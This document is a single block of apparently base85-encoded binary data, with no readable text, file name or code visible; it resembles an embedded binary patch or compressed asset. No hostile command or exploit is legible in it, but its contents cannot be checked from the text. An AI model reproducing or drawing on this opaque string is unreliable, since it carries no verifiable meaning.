z@vX{L%8hIF)~Y^qV~gffp;dD{SJK=rjFf#C2dD+&6+9F;k1gmt8MG+27HF`7>-wdI z(wWTE#$~e%xbF(x&bE&|S>JRELoKI*yyVity)oeAEiqTeJnCG$>aGWz*E82j?TQqK z!ecszqzEpqcgzZv*&dV1pYFUSz6HiIL+sSzhDIgFn&Xx(P#Zl5^Al zIf*6is?GrF_|vWso`eR>{w`zSnYKOjP0-Gl>D0P7d6%>DEhMs3S&fTld3T!k9nFn+ z>r`>0oHcRYkr3i_zVaY+NqxAFad5p^eR%C*935hZt10`d#7*yGjPlw!&cb?a`JH5< z0r$*gUSlTk^|iPsD_u|DpXlvw(!CJb=P_whoYHE(h=vG7cd4b32#@t5gRwKK(|&7W zW9-{$@xnZD&K&|ZgPLU{$C>|<(t1X_J(wByesD5H64!b%C~5Nkglw1i@amPP`(i!* za|3JqWxuo2gy*T^N{~gW@21t;-14jtg`de{KjxkH(@miUEB~{DnZ7{b7({{_YTs@9 zVNKnM+*zmH&ru?5hS$?17^}-t@-6>9q6unChqE9`=QH)MT}gEszHim<6cy#XF#i(;CD}6S~Y!dvGl{;c<1**;&Q=txFbL^?2J6bs=de>+XJ1 ziP3F0L>ubFNv`Us@n;F`RxWw`fOkPiR7bJdG09ugUH;D$IXMm0pTF%MHmK46lT|MKWpMkIIcVVW?dfVrg{t&-k zR$S(?^8R)lfS}>+n>+KU`_k)0**Be&k=^miqmkJ$S0ye+-*y@1)8S^>NC`LRqoH<8 zn~AIR`{ejMihvy{`*&}hu36ph+2lG^Anf@KZoN0Rx-}U`#cnGuqfhc4)TX56#=#M# zU1x*%NBEa>T<2~h^mTlv%ADkA@I{64yN(xTO97ei6PM%C9YZ~Dn|^7OPP3kb$(!(l zFUM=ukK9iM_<~{z#xW~;p3L4qcjYLeUzq?R`L}KP$1sKcb8gGZXWI~ooB-mo8QIFV z4{yVzL~Y!UMnu`9@hdl{nRSJ!wvO1}+PW6Dmp_l)c@T!5IO=u|o_pWB4H57?p>*7Y zFUfgxo<;e+4BT>&ic*UZSPJ~{C#fxYns;YYCn0wOt4|c!hSN{F7rldcuqs3ayV(_$ zGzYwWs-2Xpy62dQmHE~$PmJHTh@MB0)<_Y|S?()3y&NB;cldE1AG5Q}>|mL8a?)tm z=Oo)p3}2`6fL>2G*j`U4=D*fZw+A(te9k%!zI~Ok4mgSYgDo(?@R=`3egF9x-a#f7 z_5Zscsy=wY{pAwCMQaz%j`d0hyV1ezdpk+tbLr;6&_PpKtvc%|DeAS!CsL8}zvB{k zjPT4W4R&M0>uZNi6%N%GNbQV!m+vm;?e3ujHB0BgABAS6{#OhO1tv#ktgO_Z+F$d& zL4`&{*)22(_m7_1?uK%Zng$O$PlBVC3lZ%TFD|p z1A>uof;B8~pb9_*7@y-vdw^An;VA??y+FZZeKT*<9+7YWg+D1QK*Wu=fw>z=BN4L4 zr1+4|5kxi*+P+F#Ly^IA7E&Tnhfr`*Mlq=o=pP z*B1(c=M&`uCr37j6kr=OaE?L+kO9CW0-%^=i2X$%M9lvW8Ki++qtFz--MzitVjdKz z@d~hQW+H-6qPvSO5m;lqnf8kLAjAlGyYH(aR;LcFJ!E8%CMFC?JWgt+`)4vREd8eQ zqxkl1QWhofAE_V}9_0OlmzdbCDc}|4{>~79RsBuJtIK0t6n1yr#ngvHu=*ng+i1mpF(X0I@hVsi2lI2m&oRq0iT0 z$lRAyL;~F1>JQlA(Mo>&ctX`14u(L-NATTbf|mhC=mWB!4Fv9qCqzDkhuH*Uo{$Jy z3j%QrgIOjK#cFqaQPYK(IEjgyA@&4WvUJTN9gxi@&M|QHB5% z7PDfZrZ-=3F{Sd)%hm@9vo48X@gNJM;USN|Cnf=)efSs3D#6*3tk$H4juKijVtQ9h z?(LxI?+4>u(Xydo1+yHXvYSDAPC_i@>Ht&cH)YmiVdp1jQ0)laJqpV_Su>a2N*5Z# zw3%l`pT-y`PW5;C+nEU{ox%qQYr1-bt-Ect>+ zh-6MqT3=EsQY6x=xy~@U;}(TBg96JrWM+hWBZS8c>7g;|f`o@#K19yh3f76t3XhCv zkm_UjQxj8Cr>C6rVaUAB#me1ku>dGH(@b4wk|)sf8`x2xLb97T!> zNeqT4kU9keyqJf76IfuEsR9e(55>~Uq;CRJh*sIp)5`j|hxqNa<@h-btvsFFsYqJD zF^Hri?5fi>s`}7oQm12yQa{83f>D89f^;7On?0Qs~ z+uD0X(6WG6NlTV7M>#Csfci3Lv?+`sIf^PN+h7Wq$NUqN;0=0Dy3ADpJvbc5a)hVm z1(2}XmWj{CsPZNdJfnHtuw{@Y^1Tx}cDeCIP0$TC7}QLtn`RZCsFbW%-qI?DrBbrl zmWHQCqpRs@yH->$Pt>-kSQD4f8WDMQ8cQ z^Dc_HsbRsAYP4P)#OH2bBnW-QNu&&P@PE1fE93uzXBtC)115MN6Ph1xFa(ULDH9q1 zC);oozyuYze|k9W*<1v$@+m-{*e?)}7eb^gJlthtb$XA()Vj@ulLL@7PL3Qa z3rHjL-D3Ot1zv&iUuQuhj$1H@N=qR;3Ct5L!#5l=#-KJA=c*c_65e$j^b;1bPw`!T z4dH(v{mMuFd(i&)BBqFHBIRpghf}U>$>0(HAgBtvu*cH)e5^3BO z2wGoRVY5Kg8?wJiQ*iZCL<*xwZ0b+K;)_USgGWQQD3-tlzt}IgyZAf6x(gPvzm9nB zHvgRraaRx*20`I-kTJg7Ph}4t5M~k!BclNdet8sL6&vrUX8eGtRJHhLG-mMTE|As` zrspH`|1Z=LQvqYW^25IRKdnO~#Qi0h*?P(W6jZ9ggRl_#>abU4N8M`MBX6uz7sJf^ zS8Bx{la{a9W{AQs7NO#S%*=v7Q%GDzWKfU21bRH_0E87)d1xrY$AGf1Nw8A^GjK
D31CDrlzJwKs072DJdzikcSRKl47_&qc9@aV@APOL---|j_L#Cp_z&|?LI4P z{bI#&>J&_i9-I*CX7Cl1;Yz#j@e$Gz>7~q+JTXxc+K~G!$uSHEAO=is^84hFZ#ZRx zK(O$`OreAJ4*+O}SSa##z(3&x-`RTQY_0XKn;!4mYa{rq$f+Q4Y<&FHid|>D-3C7i z$!F>UP@Mu86Xwd+_w3ceV!~X@QhVKttP- zO=WXvT?4lmk(89QSZk>_(RdF72JloeDikt$00sscF7oXV<@V)9x_vO;j_BICHqF=o z?!uKEQ8B;poW;V$GfEk&E!#`5!oI4rw%(%m@OrR6{#+Z6N9MqlfTCCMaxKO2)wwD^ z<0A@d<(e2maiVVSra2-i-dJ}v0N8Dwi2Ellhi8McSm%3v7;H*Xu;L10MEI($tFp3k z1QtD5J<8|pgc4cC(ut*#yA=8G zpLrGoj=R=B0PIaZDV?x6)+*#!l zOEKc-mm#UCU=+ptFyj<2*Jy+S{vbcJKR6VgsUNH><2gMO#T>o!k&+UuEKaA})}+;F zJ2f@M!Uj&ZL;L*_Nc+0)KUq;w&C7_f`e|Ehx^zWiyRVCXT|X70emp;B`>omgiQVbP zO!23b(egSIq;KS=V~~pBdUNc=keK3O zOz>3myYizD1W5t^lXn)Blk~%k@P0M8Bp7~k; zYodJV*X0%o<{ko=&X_HdX?c!mxlM}lLA88UpO7kv5B99*>)BX7uxc0{NIMx;7Hg!@ zUq0ILlfGA0VD3Wn?eQfsA-4Nxjy?or9Anw)u`f6r@x=409G3QLZ&+9->{+fENyOJx zz_s~oPiQn)gVav6Hg0^inwK=ps|vb?r3%yq1>h zt-Sd4h*6pPMMTB5G~x7+LZhQ~>n&BX_`OzbQ+j??#naY-HRx=N^96-7rbNP%Q*g@E zsT~0(ks6Kah0datB)>QSam?DuLDz)o)sUh~oQH}%GW`?oJQgqCW}Zl6h1BVO8Ud1B zpl1CWQRBMkcesiPc+n)RBTO^Kx{l*&p=345%YzI@aGnid%DUs?xlg7HWHXk?2KUYo7GyoTfW=dVQa)%$k29yO@c#D<8v5mTNV( z%rsgr)m$FvKl#|}c5VOl`u_dBo<<7ukL+wg>Ql$oTv9Unk?_z^^+sErBnBPiojCYr zAv^-=Nii|RIy8HIE1Zx>7?xB?YA99U4#>iY%!(Gb$f!s7Ov26GQdC5>IDUTN1`b!egmT2FRdl6b)har=QHOLvVnGpRW@auft_B-% z5s{A+6kuJw0SEumkD`h5i6$C}_2AZX!92r8LE1S{kr?J=WH8I{RKg;Yu=4qW#`pz* zX^#a8Nz0qqG`nN=93?Pjmckijp z@@ht!KE|t#=I`l!-;kE>q)5Vp5XZ&C5F-|a?bXEf)tGCP4n;+h2B*@2ZKtLC7R!ZL zHH^sfGC009x6ma7t-1-B#N|~+b8?DaTt9DD-erF%!0=Tq*TgkCLF}f6SY%Rgm-9WNjXy84_S-kxubh~bN55%k83 zXq3%193F}F=geg%%b=!`(Bd5H5pnFqH0AxE3dDcr4=dot0>3AR<85=ErN8UiV$&$mGD*>@)e& z>ZX|zwM%vXJV?hJw)JCn%1iP7IO^A0@1FDQqxKBPJa=Qpsh}0ofP)5x{bKnbj;cs6 z*oTq`{aJ(to6>!aM9(amK|=OhNn`mvBIF_%C;+w9z)===I@^hF;(NIKWo-bT$92&& z7d?IXQ5KDW>Jy*u<}3h=unHg*juFiQ{t5i=12ZBF=YL%U9vqxJ0KKSfFnP$&&>WH( z{e2#2!*Inuo+=#3ipJ2e#H<-&fqte)*hu}(-ZCG-^*BR!t~ty`9St&{Qz{M5<0$<- z)Gr2E{WxJ``0%cLf5rtareKihs0^G73;dKkxDXV9H`=$MJrM2fKUeYEvV1GwLchxV zY<0KsY3cPsfiQZh#!m`Y3Y&S z;b?)^`;s(b+@@bl{}}?(yHwD$b(dH`SR`b;37cOiy=?K6MA$_fsVb=A1ptMt{F_U{ z4>K9!qj;Kaw;&{!2!|6uzbXOstV;m^K?rH#5}LpPsHT9z#0R2Eg)0Zb|FNc@H5`nt z_-WZC^+G3&28~B;?9oPDHyTBd)Gjjfi3vl8aJT*~MV*#WS8J`V0>4yXw4M}3pgON1 zIm`aF6S06zUm%xEYA9e#Dgc8G*PO;jL=6Z@Eo|)H4ub=PT=d0&_mwrSMhu3sW*X+f zjD^6UgXv)k4ug1S9iUAmH`?p#BIqoGLei@s^2ZLUqNF?K5>@IEay{OLJBE?h64>pY#3WZ&B;&X zhXI1678QY5spnRT5C2WIbIG~eFdV5;LMk1}Ky%R=X}iYXENV=FX&Pt1iHz$T`2 zjP;A~nJA12w?sFDe2J3#@W`Ad9-g`C^&>w+m2iw?7Mv>9-XER zGw{J+9|=EQub)81Ts*oI|24)Fn13T=?x9!T$Y3v3`I4K zbhu5Kjq2V@09{t*4yQ!YmNIEO({S!Ab|-BOceW3Ab`B?zlkN{M4Bkb4{}?|+pgN}u z%~__!RhGut|KAygNDd3Ayyx*1#`qSW)eR(#bp*a7?s+(QJ-4ixEY{ViTp3q7c(ySl zod#<8!3R<{k@kE~GhQY)fN2(O=2QKtB zjC7_%cnA=oe^q!wxOhe~3H__#+|mg-VZ$M{24e1Ofk=L(%KZ2{s8GaE==iMB0n{T4 zQr$x_MY+MkRF#kf)p@+IDxRErHO7*^L+iH`Kg=ubUTcAjN`$0tW|&hlhu! zA8?bkW)sT|q{w{#LZG@T%Er%n46A1SS@|qYB$lncV5ve(Tmo-a%bTRudh= z->A|7)i7ACq2-Izkd1E+!$AyL&8r@UN@7-mN-~O5fipn0DANr9!le-mmoh>p4=2Jw zMnVi$6&G#9R@>Oy)8L7@nZYgPms!(1@OG}rg{mY7mn8{JhU)+yH><#e%#HO$TDI=XxG7l&~Dqp{o zv53-&5WtS|SG{))s;D$i4DaFaK7ohb4NXUn6QUH=4ghyFeusz%7U(h2(5?K$!GR_C z`Sa)BcL`y9gea^}FW!Jelc10g+5&%s5*LU?SK95^|3&~4jJRnaDu^_83fjNE1moN~ zT(`Qo$?TwJeC(Qw&uFBY003C*`CrtKzOL26dEf`L~6>B0AC;~lH?yR z$HdXk$pJu(30YG9z7HrobE3Z;(n982m1JOdcr%4NQN5$pd(U;O4eH z63%@jmA1jbVA>6%-AhFHF8ptAu{5w_pQ{`Ky7y{(VUD@GIe-=FSR$U5pSuMBVuS=S z*~8UAmP3K#=^$H_UhzeSd~J&)8@UN#Xie#^GCvKz%)Ji zGPDY+5)b=7#h>U%Gac4J0>VqYk}V)L!2t=wN>DysS!Tc5KxaPxOBd`GDILuwub z1~7D3FBk~6-n_QzOkNfwXRXo-?o$a*o3OVJ?^FpD96V_8I`?-4J zV!q0&c6&R>I&F~D@H;kyNa&y450c0waNhTUYS_oDOZm0*G8`$uKu`o4{UjT{Lj4D? zzAT`Y#56#^QH_@D3)%s^zRfMzX=+-=TD>}BSvc42tFOrUM~4N6YNkOv{C)fF?uy~(_PV558^ zu7ED%97Nq%s^Wh(W1&`xRc%5(NW1zSW6ZnIy3fOIJ$O`z=C&t6p;D&uhL=Gi7*@?cMycg}@>a^)}vtM!b89ANfjzzWIOGxZ<|JGjs zSC7aRwrj7bk+Q$DA&q@1*0tYFz+0XwKKkNr1=9^CvjTAm)Tb=dmI+R*uZth|$cCu!>sYv%%Js?DK(# zxwtMGe&sG$#WLH@Fn)o7O*IM45I)58;|Y424eVr|hmHrqwJSlQ1(iB@<~eQ3AJ_h& zSi!L|B)|xbJ=Qu`APuT|)Pg4QpFM%Sx!D0Ti&?;=9 zpqMZjrcr&P-Jr&vqUD~4ZlwJM@O6HuwOG!&|K#Gr=fsW$Y3fSk)~3imR=- z?X0se$EvNe{-z4?t_^ZR=pt`2lY11T+I9dI#{Y z{E&zu7f2I@8hObdrcX*kl!&t@=}+(>fSza+khWPhn7~S+!vB$lrjUig{VQ)-@)C|y z6YB%K^)?Qr+Fw=wpOp8*vT2nf2L6B_ycoK^M4Vp(8#BI79bUkSMO6&Q(A*b-5{H|3 zdK9oCf~5}^@LA-mw;8(?S!d_GX_bM~`o%1pp{Fu5HWph%%ta(8d92=hzQerSWb=(! z2-(%RA*EL;_u`ydq0qP( z6J4p+@ObT)SD)K69{zAc6u`ZmOC@DoT}D@|?%C27*>bU=$_py*36W-g(y6*77); zrAg}$Aq2|!yFw5v$6SCedBt%QSuTlNDv=a~t|#cfZ&wloFhCc8c-#APJR_=K_xrXh zu`%^7sG8Lw>f9pph~6m-?|h1~nw`0z1OT32?lxKkBHJDWSXq^55)#`8z$&DrhHe0O zczCMDgw*waKwpsgsJP2*Fb$z z4jL5;Uix!c?sJS>@7oBPfP6e8p__g_oike4z>+x+ZG`Wn7>oLh6368e?>pVJl+SXj zW~^Kkd~#eZ(pXy>SdJUEWE+Xyru!c)E{U4c3g>R(1P4EI!uZPb{bs;w00MK{-k%Alw_rg93T~ z^py0xyS1gjZ9F6}LXVB8_n1yZ1YKmIE{umW`qu!v^$~>OCw_wfRitQJZo&3l?-O@E z_lCMjx#{CbQK9|}IO|3pURA5T`feQ7>;GQNz~s#07?hCZdN5U+X)#R{;cdj`t)wDs?rk$mRrFZ-b%O^Na4^@+K8s!fb5iR@}@F|dm z0MwGoSxfc;-aTrVwWo+MTMBeR`lRlyug$vH?sQ*+^;@{mAjH$)H_2!I+~*i{4k9e4@A_*!Yc zD=JvmRV7#-W_htIp34@E;#R*`O4!jH9=sB zbAS_0bi$kfG?O||P1hxz3H5}NAuLX&0nV_6?@}7I?A-fm_0)t6=O=?U83xyCR~M(R z(jyX2hoj)u&)Xyr(MdIeT>9!_tc9(s=|x}o0YpwyWbD0^dl`?7Q>}icqDN((#qSFe zg2c2y88JFEB}Dd!fE? z3*m5#(ARAkm`!T>4zoDL$tdIN1%~jqJPfKm=ZSPyV24WGV*(FXr`tvD8A_N4DR}J_ zEe_QHR0+dvZM;IELOEbf4H$ry){4Ks|MT-V023J4rE?#me#oYA^f&sKp#2MHeJT<` z94TA?AXr}Cw+aM>ik2A%sRs>2351AV@Y;%dpO^>j8!B>g{Hl|=Yn;z3$?g0W(|i3f zTCFwou<$mWPfG+B;kTv`x!~vV?mU9d=A+WN>rFHJBfa13$p*v2N zn8FZL)MEtxqrmlB-lNrU%SF6qdE$_9ee(`un4>EM$U9`?s@KAvc7lkt1peRkW}<_E z?D`EvCFYg8j)4W3&=c-zw2lw~CaQpNEv?*~G?)(O$ySWmQs)?$q6A0>)W5-#oM3oM zPwQQ$5|mw=)!WXbxX0%{S&CMm1Do)%%m_h?_Zg*rH;8;C=%&6K^VHhl0#Z&(*tZP+Cy!b4RTttdn#F9yW$WeTjppaKYg zmi7e*r)tJipC-iAG!vaWg)rFPy{jkvo)DK-Ic=F~d@z6G_m78e?{!EQ%gf=d+~Ztx z6Lm#`f@c!(34;_A_&OD3@HL4Z2ePFQJu6ob{x^oi(0#sJ^Q#aXIqzQ1u8lZv0RVKs z{sGJ`*EcUPqG;Ym05H$DDhFp~YPEq075;kAMO^<5&2I|8Xo?eUPY08^r;do90}N^- z6-%r9k)CLTJ6sF2=Z#|lKh9U4yr1hzWxppF<5 zP4}H4+7=g$sh^|ruJw@jE*b7IeS4Pl>ll^Cs004UB3Ib)qXe<>`*cXbBHe9gs>(UX z7B!3n-r>PRIO@j(Y{`pvkzairK#(Nz&%|WpeG3%u5CF|1f&q-8*E|VcnB2GPxU~FYYlJNJ%sPE~? zV+E<`u>)0NiUOL1s_bxp)lUM!ZSVf_0DrkU2*{{}0K8}zOx^r7y!cxBUPmIEGrb`(a+IgbQx z3M6SObFVab89F107Vpw^KPs`$}n(_fpvp65foPS z$3btGOMz~OFo3IyVSbOz(O&9%{sxzXU<3o`XL{55Mw!SfJ!%JjfPn|~lUK|)Mx9B_ z&M0FSQDJ9V*!KYK$SnAvtJrYXranaZ8{lRa#o=e6!?q zaei*fWv3Fu%FG-op2b=p9sBmbT^#NprlHDQ{P&pP%z~HPgG!$0=wy>@hJphH5`CoC zh0=;oOq^N6UxFvy-rja7-;4EDpzdP6xJNOgIQ5YJFD<~oFa#hSGF)@AXgXb47j2MH zFCD1)-EsSfyC#Vs`GAWQ4$tRxvnpW(bhfwuLHSAV3`-^`s*P-+&F~MH+1fRS1r)FR z8ldkjIjG!?ry2ww=m0OY>-X0#*W>UK*cI_-{R?b^k2&D>*I82MT~z1Y2cLY3`4$P| zA1Z4&(#vnHRA4R5KVI%;dAZ@H3sjgJb zFwF0WWDO?o$;5m{TFzEVrC?7mdBq^LG+FI0B?GSSBt$x7X<3s;0=R2AFMFT-N7Z>y z&5=!EiHt4_|5}8=k!HvB&^Wg{hYOJm>NUjxrHl-#tx2EEKdRS1F!kt|uUn7Fa8iwF zo)x(KL}u7ScbC~W&A(rLxVfYG6~Kr)Cq*WHQWgIAXHE&_n9H88$~1f?>3-^Pa&(ND zV%~@b3t6VBQbgVGFuh5Po_8&uM)4|&3cBQ-nX#0@wdkK0o-YkSbhE);M|a zxh)0UFG-BGH}IFl^Xvwvfgd$u!vP$z+0X#rLFyBY&(EuU0!+-wqLW!@xw3d3!20V- zC_MGa(@@PM|p+P`fo*37|2-w7`MoIv-XmMnIf*fp*J!IOco$ zu^^X~SbU?Qm=hHId_Z4n@8;jl0 z;ql2_9KYdkQAPmSsU@MnY^x9_P|i!~h-kwcw{tIqz{P26QapOVQ8(>lC)tDkY4mt)%?|rPmQu5& z?WdfR?H}!&)~%Z=dfamX$d*mafWUb%s@owXVEy1Mvk8Y2uIE^|btImS`9kJ2 zHWGyQX(b7r`S6U2PrGC2X#{`Me13hI(+sOh=oF%8O%2KDG{wXI?$W|Yu;#>`Ty#u{ z`Tc`8M|Q{g2uxKC`Dy;nBkWEO(Y&3@;qU8hm=LI!%|U+=HJN4ixO7PEPrUOt&({4v zHIlQ)N36$qD~oC@&i3GF8!tBQ_o=!^I<%RBHtE5WF0}5roV6c=F@%i4bi-0G}p}S8PY`c;v4=O#FRbONk&DE%oJH1dAfX^?Xsd03D)m6?d|U=tRJdKw|;8U3l{|L^S+`*u!#Ofm!6UV4bW#iu8bsy9H zN$SL`D=v^-f=lJ0qQ0B*B=)nnXP)7Eyehb&EY37*>#d8V_H;Yl?4`8umr+C4Mvc#V zEC^PXU79E2p(Sb|4E>_mrw+MH$p4gaJWRfo zIuIY^RD-?!1`s%$Yz}tVJi94kbmfco8UcS68|`uIQ8*$c4^n{Yd`4N@p98Zi`_sa@nwo^)XLjgcL=7g(zh@YQ zI>uxRpDdS~h%+^qbv#JDY4{pR-H@YPnjIx0H;3@P^!w;#9k1w+8v4B6Oras8RuQKW z{|9${J3Oy^U8JeXMA6a4+2BYV0`D}N3m+}kk)}H_1?NR(;fqD(f|wIY<6lH2wS|9}p ztWUaJ&Z0<>t0G$<;?i z#bz;r7T4Q*kd?wLsG1Z8ys5>(o4N@n%|$G?Eu8Zfy80?s$c&!uzUFT4XxSsj?k)B_ z3oVC@dskg;Au2C^&HmN^9j^_YL1sh6m#5wKs`l>BN9G8iUI@F?>Z2#sk9fvwhycLC z{lWdDsryNAX84qu3`n~00PkjM^Kkhs98+fmz&F}ducM{GjGf~!@M}r`Z>Z5j=Cu`y zS!5J7rej4spwhzR+4;2mv;%&L&oo=2LjEA+=xGbEXsio_YUUwI9gWc5T0);)I6ewGP-H*(V`ne5rg8TWGqJF?x(&DPzH(apmrRcMmy_)-^j z36VT`55A{KcK%EkskqVQbCY^xUwTOn4=KIr@`GL-!o}$Q+l+(n^a$S<4)1-x_QM1! z6PJny96zWt?BG>`XNM(WjOBRQ|A%74qp^RmSvKalY;Lw>h*eqUL~D>kfA?Q0VnXhVR{xOiZ~ zOG79W?KDv-r0^~ktKz~qVIud4R4?HxK+;O~aHFRNk!BvKaN!X1kw^1n4b0f_fon)T z)!x}PXlEu;019Puc`WQjQwG-qy^b^|(B;sfM7c;cFwCj}#6+6t;d5?7Jm~= zBB&J7#)w#O1#%S>RO3u>hw5;fcZwZWMzJCv2jK)r9|}J0`yb~Vw)omsn0TMc`29eS znJaEBqt>uMcC1Q+0A!u*JqrR`2uRZ6KNz;=k3X606&Ia*)~P1Ms_wA_WAaRxeFSik zOf)Ymmp_MSFKB+CMi!XMD8m1VD{M!Xz+}mY;UgVCIK*WlK811ubehp$r3$cSkU*T6Kg^qIr3c+UMiXk@<9?lwYo)+J+ zZ9h|@MuJ}d-5qpY$GwD;oe6UwlMN$wv88xzL_&|ZMjcV+rHuP{^c!R;HSXMl`5cH( z#0FU8-QO2oMY3~p7MGza+iYS$@I{$!M(_5R|{kRu9` zSIxsAzR`y#$Ia^!@7*$8)zW{)`Fi|j42XzC%4k@qa^464>xd|Trwi#aId z+Oyy6?$wJu$=dXe7lf+xTkE3*Lxl9jPqkWxE!E9L#ENr{eu)07V^ErDtZ}<>jn504 z$285Rc_bvK-7agAjNfvj4BDgVup+oTp)$GlzPX3DYftEqvuk|w1Bt&4DmCAXR#NlP zu;2{x3zP+!y5mUFgk`hRSB;yzqjJukk@XHUScufPNG-5nuT`Arrd14_$Sh>cLZ;%r zbd^)pP&iowV`J7|zsNtGCN+PiER2Khmj|>9=aF`E<03?8znAKaunQkEdd@VIX58T@3)9*JlETq(Z}${3zk~eUc&8KSG@>{BBRXu z`MWR`G|2}{1KzfN%i8Q&mF*b1sr+B(XYiBsKpM0Yz4`zYc7*h!t65a+iQP~^)cg=N zK~e-cIv_+VVlk~UN`4s6N-zF2J?X;yNI)KMq%@3#gJ5b~K^B$>HbpG7(>9x-?UxJSG_eu8#!zJg%m?V zR%fzFNroP?WSuoNZLOr168?O7hnV?wuW%1Rxm+Xthmk8X7Mw~ouZ`*atiXchHw5TJ zj{Zaz%RE&w6_@F_S^p?nkyn`b4*2vQZVLVn67KxO{c`wAcgn*GtxLl)t%K4#ygIvu z=QcCPlce30$ARKq%EsBYp5URE8{IzG73x)IpnGv>hn0|@{^3Kj<)6obo#W_cBdPVx z9jf7$cN&dhBlWh|L>!gp44`hgl-af!sm!mnS=DxS^xNC!w9y>6vs?_ies2&e5G43O zO3{~5a}C|B_Zm#$eofH&i=J^xYeKE_l)rmcN9a5v%I9_@#~sWORzu(n?vphK-$-! zx;WBv)06z%b=xN_sQ1;CX6vosG1<+nRRs4bKTT@x&gW)^`QNw^D?y`ws?XxpV=T7B ziqIhk(PUB{t@pW&W>$&y2@#GY2zn>HulcBvPZ42@C7kPtzFP5upm7d`SF7{T7^3ok z^YbZE3<61kF*0gdY62ByH`KqgZ$u~wbf@6{`R>e^c3K6P>X>~PwI8j0PIhlhV6&QQ zv^lE^-Z6DVqOQ;~{0h0i8hkni()WVj&c@o#>SjeLuP3%uqD{?$ESg^X|bQ66}8N;&Q_OxhK+j^Jc3P z#{mR(8{Jn!VM;F5mtbTpq#5=dhZS(f0R$a{w|TA8dcuEgC34Iin5iW|7)QvwSf^YV zZ)qL1IUslK0+YMvviJdg-rr2HFf=;kno}w8ms=N**dWJh2oNmfL z)olfqnetnDO;Eb=CklN)GT!(^BR(SgrV$T~!!vimH@7Zui1OwpoFZkeY>!^>hGW>8~rAYP0)?`CoP=nP+L-64>0;$dymmtM|x1bFOcyzAZhGJwA}D z90a5=O%9o;cXB*+-AnT2l{#08-o`E!92%3X+PpFh@i!Lp7ZEV(*)-bcRWPZgQ z`eL!kudLJ8xEFIBE(0*Qbqh)Y$XSGmZNwX>E(-7;ULR!phm^>;;YU?~YB?6m?F54u1qdk7sUY zeaEF5$(|V{`Y=h=Vd2)*znm?I;kN+lP%+V7)CC(d0;4RI3nYtQWsXqk`L8tO{_okW zn^_cY9AULbVN61f=#cF+sg>^M_BSd!MkBYwu>G z?KuiHZoYPe(l50*y6uF}K&EO2QW!QzRu@(+mR_yiyR4XeHa}v19I%97D+yYt)oiA- zUm1@_Z=77KT28fkxTS3{;@^00==m~NpFP%HDwMc=G6Q@hP({6VDGAJ&U7c>?9*(a?5*NA0wCyS6_kwA2Z#vN=!fw<{iGU=M%7oU7b#vEHKeG<+kV z-nHfTVwu9UfoZg{htJ_Y*XaG(@^}9+WMppfp++6Q$dEGY38TS80{*hIw&u>dRP=K44&!&T6sFZK*Iba%(jGYTtNnY2JJuhNJ z6Kf6^m|naPycjFYuxIn@v&mvX_xe}Y!4;n4fY8U?PB&9wl2vr>ctR?5VCFCgfinehIzJEs=%wg~3AUX6Vp1^Ov>#X_xIX9) zF;|g_&LjKgdp%wcgnASD>~rD4O{K)`GGh%i`i+;PMEvT1f}`w>}9-^ zMMs9#(4XqBe6@$Am+=`h;T<1ymsb%Zi=WZ22C60@5lEa)_qYs}K(4$aZ}p~#NCn}h zgl520bhGgf9c8bW?S`oEH~(|J}W_wLvAZ>M;Fl*nagt0WT; z)@hrk(t%ak8q0WhDzkG6=?8w5yJIidsJlGcPY!DZA?})wXTP%A$X47k1{N;pHu>%L z(W$$Qo+>~Fr=^;&#D4u1VFL*@TgByQp>7$AW~NrydsA{e_wR%EYo9+i3F;yqP&>dW zmfX+&{Lak-H}ykqwxPa(le#O@5XEHg7Tq;`wE;jAobun+2v)xlGF&aK(^K#21064x zA6!6JKU5=Ge|o4l;5#|a^H|g29^u(;6J?fi>6;0aK^tPbDzAaZ zNHECOu;Wh=r4`?xECfRg(UBX7W2>Wh_*;aNr{~Mav&YRr(}e052rtliOW#whnUM!O z9uVQ=F{_6IcrEm}y@!PYHec$@okuD!1;hSDqF-4ZZ&y6e)sWhs1SH}m6@C>+Et}wX zosbd*ZZ9Ve1gn#q?>-8Nq_?XYe2eqAdyq=JdA8xz=!mOxOe}N!EaUb)(Nkxpe&|7F zWeD2OZq=)=qTBKR${RyP$y~t2{vLv5ym>Ld`7GLw0eG>6g#Mv?c0Nuq^~zA$lT|-2 zDVQOwIb^od*`B7@K_Zq{MZ;m+IVk+B(;(*DXLC)Uh_5^5dRRDJ-?C8kP4iA~zQx95 zo-UZ&KQPNWy!adX)CVFB4!w!F9%#%?HrkbU{6_oS$4uXf5fa_5amPoV#;o{L>k<@z z?G!7?IR1hbK1+x7zSENGr_-4Y!9Vt9CW(;RIe~M^Otq7G1KZEW#Es`i9r88!lCj#A z0L(lrx5h#QXzO6r`;7hDq&e9M5m}BD;ciAJ6^w$A@mezROv&%tD_0m;Cj1prnwj96 z7)XJ;=U&DsZ7e9@twf=^!H%P}*0})pE0&E;Br^DK_G4g<*D}db=Z9yB+xkz`cx!KNo}i}t$0c^d zO`;OypF)ogb~)K0Lz3oAtT#?EAuFreh1V#b1Z7yGwjtBGI=3j)8G4~tF? z3E1rOxSId`5K%}2%O*;fWK=lr@OLEmN3a>|AM`2rY||RPTrDP6#o=-)wwSK7970r28AjW zkI;rZfa{qn2PB*?zKwBue7i^N;6z9KR&XRpDNFNd@1aF;xT&5a@N=y)0_I*mmfUpy z7WZ51Mk~F(&E;F0j_zp0B==^*tq;?RIz43)+Yj+L6aiE^X*=@7Vco6)zSOLBf7LSSNngOf0A<{)G(_9xl%GIV-66;!)uE zWFA%w0AvSLgHw3tRT40o+y=6#`VNbcPuSbq-sHn4xVin$?84o|#CiEsxB%7!bWvj` z0;aQ)Pb2`-Fv-&9vHJgH_}_1j5746*+C*QTf3WYr3LjgX{J$~M!3orx(3!Cd)p>f% zZ`Dq0P1s~@(em+;bGrm`rTdZ~HBVOQVc`yON1e~ZSl7gk9f)?8^JD27E<5X@!jFgF zUu7W9AmGDR*`e70BqoRRl_v5}@IEkrz}nbd5#6(`mzQBe97I7#k0FXp8QC1j4-~7- z&SBnHt7HI-R%hL9v<OwNowEV)7FV znjsov?&IfgSTP!-2FgZ!hc;BH?Yqh%bXBUq;Na5zVOFI=Dw4n?D!DlY0D$;4ya|X{7 zF=fZU0U&wGLHyNDPv4KADUT`MtB!QA{D!3c^m?83DqhJga&s_wKO zNkE*yn|oCX6r{W3FM_Eujn%iXOaC9sUC(^;Nd-oFab_FyZ0_gi>gDRKarN{~>nu?-j{MJ6@UN0t%R-BV z;$t*ds&p^czh`8r78!{k^w!q1eQEMs2xiZ|##-XUSM6`6pD@IUdVW4GeI8#@pCA0Q 